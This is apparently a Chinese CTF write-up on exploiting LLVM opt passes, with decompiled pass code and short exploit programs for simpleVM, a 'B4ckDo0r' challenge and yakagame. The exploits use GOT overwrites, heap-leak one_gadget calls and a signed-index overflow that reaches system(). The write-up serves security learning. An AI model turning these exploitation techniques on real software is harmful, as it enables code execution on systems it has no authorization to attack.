基础知识
既然说到llvm pass pwn
,我们肯定要先了解llvm
到底是一个什么东西
学过编译原理的人应该都知道,编译过程主要可以划分为前端与后端:
- 前端把源代码翻译成中间表示 (
IR
)
- 后端把IR编译成目标平台的机器码。当然,
IR
也可以给解释器解释执行
然而,经典的编译器如gcc
在设计上都是提供一条龙服务的: 你不需要知道它使用的IR
是什么样的,它也不会暴露中间接口来给你操作它的IR
。 换句话说,从前端到后端,这些编译器的大量代码都是强耦合的。
这样做有好处也有坏处。好处是,因为不需要暴露中间过程的接口,它可以在内部做任何想做的平台相关的优化。 而坏处是,每当一个新的平台出现,这些编译器都要各自为政实现一个从自己的IR
到新平台的后端。 甚至如果当一种新语言出现,且需要实现一个新的编译器,那么可能需要设计一个新的IR
,以及针对大部分平台实现这个IR
的后端。 不妨想一下,如果有M种语言、N
种目标平台,那么最坏情况下要实现 M*N
个前后端。这是很低效的。
因此,我们很自然地会想,如果大家都共用一种IR
呢? 那么每当新增加一种语言,我们就只要添加一个这个语言到IR
的前端; 每当新增加一种目标平台,我们就只要添加一个IR
到这个目标平台的后端。 如果有M种语言、N种目标平台,那么最优情况下我们只要实现 M+N
个前后端。
而LLVM
就是这样一个项目。LLVM
的核心设计了一个叫 LLVM IR
的中间表示, 并以库(Library
) 的方式提供一系列接口, 为你提供诸如操作IR
、生成目标平台代码等等后端的功能。
那么 LLVM Pass
又是什么呢? Pass
就是“遍历一遍IR
,可以同时对它做一些操作”的意思。翻译成中文应该叫“趟”。 在实现上,LLVM
的核心库中会给你一些 Pass
类 去继承。你需要实现它的一些方法。 最后使用LLVM
的编译器会把它翻译得到的IR
传入Pass
里,给你遍历和修改。
下面列出几个比较重要的命令行工具:
llvm-as
:把LLVM IR
从人类能看懂的文本格式汇编成二进制格式。注意:此处得到的不是目标平台的机器码。
llvm-dis
:llvm-as
的逆过程,即反汇编。 不过这里的反汇编的对象是LLVM IR
的二进制格式,而不是机器码。
opt
:优化LLVM IR
。输出新的LLVM IR
。
llc
:把LLVM IR
编译成汇编码。需要用as
进一步得到机器码。
lli
:解释执行LLVM IR
。
下面简单聊聊llvm IR
何为LLVM IR
LVM IR
是一门低级编程语言,语法类似于汇编
- 任何高级编程语言(如
C++
)都可以用 LLVM IR
表示
- 基于
LLVM IR
可以很方便地进行代码优化(任何编程语言都能统一转换为LLVM IR
)
LLVM IR的两种表示方法
- 人类可以阅读的文本形式,文件后缀为
.ll
- 易于机器处理的二进制格式,文件后缀为
.bc
下面给出一些常用的指令:
- .c -> .ll:clang -emit-llvm -S exp.c -o exp.ll
- .c -> .bc: clang -emit-llvm -c exp.c -o exp.bc
- .ll -> .bc: llvm-as a.ll -o exp.bc
- .bc -> .ll: llvm-dis a.bc -o exp.ll
- .bc -> .s: llc exp.bc -o exp.s
下面来分析官方文档中一个入门级别的llvm pass
程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| #include "llvm/Pass.h" #include "llvm/IR/Function.h" #include "llvm/Support/raw_ostream.h"
#include "llvm/IR/LegacyPassManager.h"
using namespace llvm;
namespace { struct Hello : public FunctionPass { static char ID; Hello() : FunctionPass(ID) {}
bool runOnFunction(Function &F) override { errs() << "Hello: "; errs().write_escaped(F.getName()) << '\n'; return false; } }; }
char Hello::ID = 0; static RegisterPass<Hello> X("hello", "Hello World Pass", false , false );
|
这段代码的主要内容是注册了一个Hello
函数,重写了runOnFunction
函数,使得每遍历到一个函数时就输出函数名。
一般来说,在pwn
题中,漏洞主要来自于so
文件中,而漏洞多产生于重写了so
文件中的runOnFunction
函数,我们可以通过在ida
中搜索vtable
来定位这一个函数,而我们要攻击的则是opt
这个elf
文件
至于PASS
注册的名称,一般会在README
文件中给出,若是没有给出,可通过对__cxa_atexit
函数“交叉引用”来定位
环境搭建
下载常见的clang
和llvm
版本
1 2 3 4 5 6 7 8
| sudo apt install clang-8 sudo apt install llvm-8 sudo apt install clang-10 sudo apt install llvm-10 sudo apt install clang-12 sudo apt install llvm-12
|
其中opt
是LLVM
的优化器和分析器,可加载指定的模块,对输入的LLVM IR
或者LLVM
字节码进行优化或分析。CTF
题目一般会给出所需版本的opt
文件(可用./opt --version
查看版本)或者在README
文档中告知opt
版本。安装好llvm
后,可在/usr/lib/llvm-xx/bin/opt
路径下找到对应llvm
版本的opt
文件(一般不开PIE
保护)
gdb调试
1 2 3 4
| gdb opt-8 set args -load ./yaka.so -ayaka ./exp.ll b main r
|
题目
[红帽杯 2021] simpleVM
好习惯,上来先给opt-8
来一发checksec
可以发现程序并没有开启PIE
保护而且got
表可改
将VMPass.so
拖进ida
,漏洞通常都在这一个so
文件中
我们首先看start
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| int start() { int v1; int v2;
if ( "VMPass" ) v2 = strlen("VMPass"); else v2 = 0; if ( "VMPass" ) v1 = strlen("VMPass"); else v1 = 0; sub_6510((unsigned int)&unk_20E990, (unsigned int)"VMPass", v2, (unsigned int)"VMPass", v1, 0, 0); return __cxa_atexit(func, &unk_20E990, &off_20E548); }
|
可以看到PASS
注册名称为VMPass
。我们尝试在ida
中查找runOnFunction
函数,结果发现这个函数的符号表给删了?图片中的sub_6830
函数即为我们要找的runOnFunction
函数函数
接下来分析一下runOnFunction
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| __int64 __fastcall sub_6830(__int64 a1, llvm::Value *a2) { __int64 v2; bool v4; size_t v5; const void *Name; __int64 v7; int v8;
Name = (const void *)llvm::Value::getName(a2); v7 = v2; if ( "o0o0o0o0" ) v5 = strlen("o0o0o0o0"); else v5 = 0LL; v4 = 0; if ( v7 == v5 ) { if ( v5 ) v8 = memcmp(Name, "o0o0o0o0", v5); else v8 = 0; v4 = v8 == 0; } if ( v4 ) sub_6AC0(a1, a2); return 0LL; }
|
改函数先通过getName(a2)
来获取.ll
文件中定义的函数名字,如果该函数的名字为o0o0o0o0
,则会进入sub_6AC0
这个函数进行进一步的处理
定位到关键函数sub_6B80
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206
| __int64 __fastcall sub_6B80(__int64 a1, llvm::BasicBlock *a2) { llvm::Value *CalledFunction; void **v3; void **v4; llvm::ConstantInt *v6; __int64 v7; __int64 v8; llvm::ConstantInt *v9; _QWORD *v10; __int64 v11; llvm::ConstantInt *v12; __int64 v13; __int64 v14; llvm::ConstantInt *v15; _QWORD *v16; __int64 v17; __int64 v18; llvm::ConstantInt *v19; void *v20; __int64 v21; __int64 v22; llvm::ConstantInt *v23; void *v24; __int64 v25; __int64 v26; llvm::ConstantInt *v27; _QWORD *v28; __int64 v29; __int64 ZExtValue; llvm::ConstantInt *v31; _QWORD *v32; __int64 ArgOperand; char *s1; llvm::CallBase *v35; llvm::Instruction *v36; _QWORD *Name; __int64 v38; __int64 v39[2];
v39[1] = __readfsqword(0x28u); v39[0] = llvm::BasicBlock::begin(a2); while ( 1 ) { v38 = llvm::BasicBlock::end(a2); if ( (llvm::operator!=(v39, &v38) & 1) == 0 ) break; v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>(v39); if ( (unsigned int)llvm::Instruction::getOpcode(v36) == 55 ) { v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36); if ( v35 ) { s1 = (char *)malloc(0x20uLL); CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v35); Name = (_QWORD *)llvm::Value::getName(CalledFunction); *(_QWORD *)s1 = *Name; *((_QWORD *)s1 + 1) = Name[1]; *((_QWORD *)s1 + 2) = Name[2]; *((_QWORD *)s1 + 3) = Name[3]; if ( !strcmp(s1, "pop") ) { if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 ) { ArgOperand = llvm::CallBase::getArgOperand(v35, 0); v32 = 0LL; v31 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOperand); if ( v31 ) { ZExtValue = llvm::ConstantInt::getZExtValue(v31); if ( ZExtValue == 1 ) v32 = off_20DFD0; if ( ZExtValue == 2 ) v32 = off_20DFC0; } if ( v32 ) { v3 = off_20DFD8; *v32 = *(_QWORD *)*off_20DFD8; *v3 = (char *)*v3 - 8; } } } else if ( !strcmp(s1, "push") ) { if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 ) { v29 = llvm::CallBase::getArgOperand(v35, 0); v28 = 0LL; v27 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v29); if ( v27 ) { v26 = llvm::ConstantInt::getZExtValue(v27); if ( v26 == 1 ) v28 = off_20DFD0; if ( v26 == 2 ) v28 = off_20DFC0; } if ( v28 ) { v4 = off_20DFD8; *off_20DFD8 = (char *)*off_20DFD8 + 8; *(_QWORD *)*v4 = *v28; } } } else if ( !strcmp(s1, "store") ) { if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 ) { v25 = llvm::CallBase::getArgOperand(v35, 0); v24 = 0LL; v23 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v25); if ( v23 ) { v22 = llvm::ConstantInt::getZExtValue(v23); if ( v22 == 1 ) v24 = off_20DFD0; if ( v22 == 2 ) v24 = off_20DFC0; } if ( v24 == off_20DFD0 ) { **(_QWORD **)off_20DFD0 = *(_QWORD *)off_20DFC0; } else if ( v24 == off_20DFC0 ) { **(_QWORD **)off_20DFC0 = *(_QWORD *)off_20DFD0; } } } else if ( !strcmp(s1, "load") ) { if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 ) { v21 = llvm::CallBase::getArgOperand(v35, 0); v20 = 0LL; v19 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v21); if ( v19 ) { v18 = llvm::ConstantInt::getZExtValue(v19); if ( v18 == 1 ) v20 = off_20DFD0; if ( v18 == 2 ) v20 = off_20DFC0; } if ( v20 == off_20DFD0 ) *(_QWORD *)off_20DFC0 = **(_QWORD **)off_20DFD0; if ( v20 == off_20DFC0 ) *(_QWORD *)off_20DFD0 = **(_QWORD **)off_20DFC0; } } else if ( !strcmp(s1, "add") ) { if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 ) { v17 = llvm::CallBase::getArgOperand(v35, 0); v16 = 0LL; v15 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v17); if ( v15 ) { v14 = llvm::ConstantInt::getZExtValue(v15); if ( v14 == 1 ) v16 = off_20DFD0; if ( v14 == 2 ) v16 = off_20DFC0; } if ( v16 ) { v13 = llvm::CallBase::getArgOperand(v35, 1u); v12 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v13); if ( v12 ) *v16 += llvm::ConstantInt::getZExtValue(v12); } } } else if ( !strcmp(s1, "min") && (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 ) { v11 = llvm::CallBase::getArgOperand(v35, 0); v10 = 0LL; v9 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v11); if ( v9 ) { v8 = llvm::ConstantInt::getZExtValue(v9); if ( v8 == 1 ) v10 = off_20DFD0; if ( v8 == 2 ) v10 = off_20DFC0; } if ( v10 ) { v7 = llvm::CallBase::getArgOperand(v35, 1u); v6 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v7); if ( v6 ) *v10 -= llvm::ConstantInt::getZExtValue(v6); } } free(s1); } } llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++( v39, 0LL); } return 1LL; }
|
看到这里我们终于可以知道为什么题目的名字叫simpleVM
了,这就是很经典的VMpwn
,只不过和llvm pass
相结合而已。这个函数实现了push
、pop
、store
、load
、add
指令功能。为了方便看懂代码,这里先简单分析几个llvm pass
中的函数。
1
| Name = (_QWORD *)llvm::Value::getName(CalledFunction);
|
获取函数的名字并赋值给Name
1
| v8 = llvm::ConstantInt::getZExtValue(v9);
|
获取函数的一个参数并将其赋值给v8
这里我选择使用add
、store
、load
相互配合来实现任意地址写,下面给出关键代码片段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| if ( v23 ){ v22 = llvm::ConstantInt::getZExtValue(v23); if ( v22 == 1 ) v24 = off_20DFD0; if ( v22 == 2 ) v24 = off_20DFC0; } if ( v24 == off_20DFD0 ){ **(_QWORD **)off_20DFD0 = *(_QWORD *)off_20DFC0; } else if ( v24 == off_20DFC0 ){ **(_QWORD **)off_20DFC0 = *(_QWORD *)off_20DFD0; }
if ( v19 ){ v18 = llvm::ConstantInt::getZExtValue(v19); if ( v18 == 1 ) v20 = off_20DFD0; if ( v18 == 2 ) v20 = off_20DFC0; } if ( v20 == off_20DFD0 ) *(_QWORD *)off_20DFC0 = **(_QWORD **)off_20DFD0; if ( v20 == off_20DFC0 ) *(_QWORD *)off_20DFD0 = **(_QWORD **)off_20DFC0;
if ( v15 ){ v14 = llvm::ConstantInt::getZExtValue(v15); if ( v14 == 1 ) v16 = off_20DFD0; if ( v14 == 2 ) v16 = off_20DFC0; } if ( v16 ){ v13 = llvm::CallBase::getArgOperand(v35, 1u); v12 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v13); if ( v12 ) *v16 += llvm::ConstantInt::getZExtValue(v12); }
|
学过VMpwn
的师傅会发现,这里可以很容易的实现任意地址写
我们前面checksec
发现opt-8
并没有开启PIE
保护以及got
表可写。通过分析,在该关键函数每论循环结束时都会执行free
函数,于是我们可以选择修改”寄存器”的值为got
表地址,然后将里面的值读进”寄存器”,然后再利用add
函数将”寄存器”里的free
函数改成onegadget
,最后写回free
的got
表中,程序调用free
即可执行onegadget
。最终的exp
如下:
1 2 3 4 5 6 7 8 9 10 11 12
|
void store(int a); void load(int a); void add(int a, int b);
void o0o0o0o0(){ add(1, 0x77e100); load(1); add(2, 0x729ec); store(1); }
|
最后执行./opt-8 -load ./VMPass.so -VMPass ./exp.ll
即可getshell
由于没有在比赛中遇到过这种题目,所以不知道远程是怎么打的。听别的师傅说,好像和kernel pwn
和qemu
逃逸一样,都是直接上传一个elf
首先还是按照上面的方法定位到被进行修改过的runOnFunction
函数为sub_19D0
,点开一看500
多行代码,直接看的头大,这时候就十分的考验我们对关键代码的定位了
首先在最前面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Name = (_QWORD *)llvm::Value::getName((llvm::Value *)a2); if ( v3 == 8 && *Name == 'r0oDkc4B' ) { v4 = a2[10]; if ( v4 != (llvm::Value *)(a2 + 9) ) { while ( 1 ) { v5 = (char *)v4 - 24; v82 = v4; if ( !v4 ) v5 = 0LL; v6 = *((_QWORD *)v5 + 6); v7 = v5 + 40; if ( (char *)v6 != v7 )
|
从中我们可以看到要一定要有名为B4ckDo0r
(小端序)的函数才可以进行后面的操作
后面的程序大概可以看出,根据B4ckDo0r中调用不同的函数从而来执行相应的操作,接下来进行详细的分析
我们可以观察到如果传入的是run
函数,他所执行的程序中存在以下这段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| ((void (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD))*byte_2040f8)( 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL);
|
这里会执行*byte_2040f8
,所以我们想如果可以修改byte_2040f8
为one_gadget
的地址,执行该段代码时我们就可以getshell
了
于是对byte_2040f8
进行交叉引用,看看什么地方可以对该值进行修改,接下来对能对该地址进行修改的部分代码进行详细分析
首先是对fakekey
函数的处理,定位到关键部分:
1 2 3 4 5 6 7
| v76 = byte_204100; if ( *(_BYTE *)(*(_QWORD *)v75 + 16LL) == 13 ) SExtValue = llvm::APInt::getSExtValue((llvm::APInt *)(*(_QWORD *)v75 + 24LL)); else SExtValue = 0LL; byte_204100 = v76 + SExtValue; *byte_2040f8 = v76 + SExtValue;
|
可以看出该函数可以对*byte_2040f8
和byte_204100
的值加上一个用户自己定义的数,即*byte_2040f8 = byte_204100 + 用户的value
接下来分析stealkey
的关键部分:
1 2 3 4 5 6 7 8 9 10
| if ( byte_2040f8 && !(-1431655765 * (unsigned int)((v15 + 24 * v65 - 24LL * v66 - (v8 - 24 * (unsigned __int64)(*(_DWORD *)(v8 + 20) & 0xFFFFFFF))) >> 3)) ) { byte_204100 = *byte_2040f8; }
|
这里会将*byte_2040f8
赋值给byte_204100
最后是对save
部分的分析,其有下面这段关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| if ( -1431655765 * (unsigned int)((v15 + 24 * v18 - 24 * (unsigned __int64)NumTotalBundleOperands - v20) >> 3) == 2 ){ v21 = *(_BYTE *)(v8 + 16); if ( v21 == 79 ) { v22 = 0LL; } else { if ( v21 != 29 ) goto LABEL_143; v22 = -2LL; } v23 = v15 + 24 * v22 - 24LL * (unsigned int)llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 24)); v24 = (__int64 *)(v8 - 24LL * (*(_DWORD *)(v8 + 20) & 0xFFFFFFF)); if ( !(-1431655765 * (unsigned int)((unsigned __int64)(v23 - (_QWORD)v24) >> 3)) ) goto LABEL_154; if ( (*(_DWORD *)(v8 + 20) & 0xFFFFFFF) == 0 ) goto LABEL_153; v25 = *v24; v26 = *(_BYTE *)(v8 + 16); if ( v26 == 79 ) { v27 = 0LL; } else { if ( v26 != 29 ) goto LABEL_144; v27 = -2LL; } v28 = v15 + 24 * v27 - 24LL * (unsigned int)llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 24)); v29 = v8 - 24LL * (*(_DWORD *)(v8 + 20) & 0xFFFFFFF); if ( -1431655765 * (unsigned int)((unsigned __int64)(v28 - v29) >> 3) <= 1 ) goto LABEL_154; if ( (*(_DWORD *)(v8 + 20) & 0xFFFFFFFu) <= 1 ) goto LABEL_153; v30 = *(_QWORD *)(v29 + 24); sub_2430(&src, v25); sub_2430(v84, v30); v31 = n; v32 = malloc(0x18uLL); v32[2] = byte_2040f8; byte_2040f8 = v32; v33 = (char *)src; memcpy(v32, src, v31); v34 = v32 + 1; v35 = (char *)v84[0]; memcpy(v34, v84[0], (size_t)v84[1]); if ( v35 != &v85 ) { operator delete(v35); v33 = (char *)src; } if ( v33 != v88 ) operator delete(v33); }
|
第一行的代码意思是要求save
函数要有2
个参数,从代码中我们可以看出byte_2040f8
指向一个新申请的0x20
大小的堆块,而后面的操作看的也不是太懂,因为前面看的也不是很懂,于是用gdb
调试了一下,测试脚本:
1 2 3 4 5 6 7 8
| #include <stdio.h> void save(char *a, char *b){}
int B4ckDo0r(){ save("Qanux", "Qanux"); return 0; }
|
在gdb
中查看byte_2040f8
:
可以看到byte_2040f8
指向一个新malloc
的堆块,堆块大小为0x18
,堆块的内容为save
函数的第一和第二个参数,回到最开始程序刚进入到对save
函数的进行处理的时候,我们看看堆块的布局:
可以看到unsortedbin
中存在一个堆块,tcache
中有7
个0x20
大小的堆块,如果我们将7
个堆块申请出来,再用save
函数申请0x20
大小的堆块,堆管理系统则会直接切割unsortedbin
中的堆块进行分配,此时申请出来的堆块会残留着之前unsortedbin
在fd
上有关libc
的地址,即我们可以令*byte_2040f8
为libc
上的一个地址
此时我们可利用stealkey
函数将*byte_2040f8
上的值赋值给byte_204100
,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #include <stdio.h> void save(char *a, char *b){} void takeaway(char *c){} void stealkey(){} void fakekey(int d){} void run(){}
int B4ckDo0r(){ save("Qanux", "Qanux"); save("Qanux", "Qanux"); save("Qanux", "Qanux"); save("Qanux", "Qanux"); save("Qanux", "Qanux"); save("Qanux", "Qanux"); save("Qanux", "Qanux"); save("", "Qanux"); stealkey(); return 0; }
|
效果如下:
再利用fakekey
函数*byte_2040f8 = byte_204100 - one_gadget与byte_204100上有关libc地址的偏移
,即可另*byte_2040f8
的值为one_gadget
的地址,最后使用run
函数执行one_gadget
直接getshell
。最终exp
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #include <stdio.h> void save(char *a, char *b){} void takeaway(char *c){} void stealkey(){} void fakekey(int d){} void run(){}
int B4ckDo0r(){ save("Qanux", "Qanux"); save("Qanux", "Qanux"); save("Qanux", "Qanux"); save("Qanux", "Qanux"); save("Qanux", "Qanux"); save("Qanux", "Qanux"); save("Qanux", "Qanux"); save("", "Qanux"); stealkey(); fakekey(-0x1090f2); run(); return 0; }
|
[强网杯 2022] yakagame
这道题的PASS
注册的名称并不能直接在start
函数中找打,看了winmt
师傅的文章发现可以对__cxa_atexit
函数“交叉引用”来定位,如下图:
可以看见PASS
注册的名称为ayaka
(没事干给ida64
换了一个主题哈哈哈)。接下来对主要函数进行分析,用上面题目的方法定位到sub_C880
即为重写的runOnFunction
函数。
还是和之前的方法一样,发现程序主要是对gamestart
函数的定义进行分析和操作,接下来详细分析各个部分
对fight
函数的处理:
该函数只能有一个参数,以该参数作为索引,从weaponlist
数组中取出一个数v53
与boss
进行比较:
- 如果
v53
的值小于boss
,则输出loss
- 如果
v53
的值大于等于boss
,则输出win
,并进行赋值操作:*score = v53 - boss
- 如果
*score > 0x12345678
,则会进入backdoor
函数
接下来就看看这个backdoor
函数:
1 2 3 4 5
| int backdoor(void) { puts("wow!! this is you gift"); return system(cmd); }
|
可以想到,如果我们可以控制cmd
的值并且执行backdoor
函数,我们就能够getshell
对merge
函数的处理:
1 2 3 4 5 6 7 8 9 10 11 12
| else if ( (std::operator==<char>(v58, "merge") & 1) != 0 ){ v52 = llvm::CallBase::getNumOperands(v60); if ( v52 != 3 ) exit(0); v15 = llvm::CallBase::getArgOperand(v60, 0); v51 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v15); v50 = llvm::ConstantInt::getZExtValue(v51); v16 = llvm::CallBase::getArgOperand(v60, 1u); v51 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v16); v49 = llvm::ConstantInt::getZExtValue(v51); weaponlist[v50] += weaponlist[v49]; }
|
该函数需要有2
个参数,分别为v50
和v49
,最后进行weaponlist[v50] += weaponlist[v49]
操作
下面几个函数比较容易看懂且用处不大,就不做分析
对destroy
函数的处理:
1 2 3 4 5 6 7 8 9 10
| else if ( (std::operator==<char>(v58, "destroy") & 1) != 0 ){ v48 = 0; v47 = llvm::CallBase::getNumOperands(v60); if ( v47 != 2 ) exit(0); v17 = llvm::CallBase::getArgOperand(v60, 0); v46 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v17); v48 = llvm::ConstantInt::getZExtValue(v46); weaponlist[v48] = 0; }
|
对upgrade
函数的处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| else if ( (std::operator==<char>(v58, "upgrade") & 1) != 0 ){ v45 = 0; v44 = llvm::CallBase::getNumOperands(v60); if ( v44 != 2 ) exit(0); v18 = llvm::CallBase::getArgOperand(v60, 0); v43 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v18); v45 = llvm::ConstantInt::getZExtValue(v43); for ( k = 0; k < 256; ++k ) weaponlist[k] += v45; v19 = std::operator<<<std::char_traits<char>>(&std::cout, "upgrade finish"); std::ostream::operator<<(v19, &std::endl<char,std::char_traits<char>>); v20 = std::operator<<<std::char_traits<char>>(&std::cout, "enjoy your war"); std::ostream::operator<<(v20, &std::endl<char,std::char_traits<char>>); }
|
下面是一系列关于原神梗的函数(原神56
级玩家):
可以看出这一系列函数允许我们对cmd
这个全局变量进行操作,所以我们可以通过对这几个函数的顺序进行适当的排序即可令cmd
为我们想要的值
我们可以通过下面这段代码将cmd
的值设置为"cat flag"
1 2 3 4
| tiandongwanxiang(); wuxiangdeyidao(); guobapenhuo(); wuxiangdeyidao();
|
效果如下:
接下来是最重要的部分,当函数的名字不满足上述的所有条件后才会执行以下这段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| else { v37 = 0; v36 = llvm::CallBase::getNumOperands(v60); if ( v36 != 2 ) exit(0); v21 = llvm::CallBase::getArgOperand(v60, 0); v35 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v21); v37 = llvm::ConstantInt::getZExtValue(v35); v34 = std::map<std::string,unsigned char>::begin(&funMap[abi:cxx11]); v33 = 0; while ( 1 ) { v32 = std::map<std::string,unsigned char>::end(&funMap[abi:cxx11]); if ( (std::_Rb_tree_iterator<std::pair<std::string const,unsigned char>>::operator!=(&v34, &v32) & 1) == 0 ) break; v22 = std::_Rb_tree_iterator<std::pair<std::string const,unsigned char>>::operator->(&v34); if ( (std::operator==<char>(v22, v58) & 1) != 0 ) { v23 = std::operator<<<std::char_traits<char>>( &std::cout, "you really want this?all right,i will add it into the weapon list"); std::ostream::operator<<(v23, &std::endl<char,std::char_traits<char>>); v24 = std::_Rb_tree_iterator<std::pair<std::string const,unsigned char>>::operator->(&v34); weaponlist[v33] = *(_BYTE *)(v24 + 0x20); break; } ++v33; v31[1] = std::_Rb_tree_iterator<std::pair<std::string const,unsigned char>>::operator++(&v34, 0LL); } v31[0] = std::map<std::string,unsigned char>::end(&funMap[abi:cxx11]); if ( (std::_Rb_tree_iterator<std::pair<std::string const,unsigned char>>::operator==(&v34, v31) & 1) != 0 ) { v25 = std::operator<<<std::char_traits<char>>(&std::cout, "wow!! you find a new weapon"); std::ostream::operator<<(v25, &std::endl<char,std::char_traits<char>>); } v28 = v37; v29[0] = llvm::Value::getName(CalledFunction); v29[1] = v26; llvm::StringRef::operator std::string(v30, v29); *(_BYTE *)std::map<std::string,unsigned char>::operator[](&funMap[abi:cxx11], v30) = v28; std::string::~string(v30); } std::string::~string(v58);
|
由于比较重要,所以代码中写了很多注释,下面就只讲讲几个比较重要的点:
代码中遍历的时候是按照函数名大小遍历的,所以我们在利用该段代码的时候要注意函数的命名
漏洞出现在weaponlist[v33] = *(_BYTE *)(v24 + 0x20);
这一段代码
该weaponlist
数组是通过char
类型的v33
进行索引的,而有符号char
类型的范围是-128 ~ +127
,也就是说,当v33
的值为127
时,此时加1
,v33
的值会变成-128
而不是128
,所以我们可以利用这个点来造成数组后溢来修改后面的值
在weaponlist
数组后存在的数据:
可以看见score
指针就在其后面,如果我们可以利用数组后溢来改写score
指针指向一个很大的值的地址,那么我们在使用fight
函数时就可以满足backdoor
函数的调用条件从而进入backdoor
函数,而cmd
已经在前面被我们改写成"cat flag"
,所以进入backdoor
函数后我们即可获得flag
完整exp
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 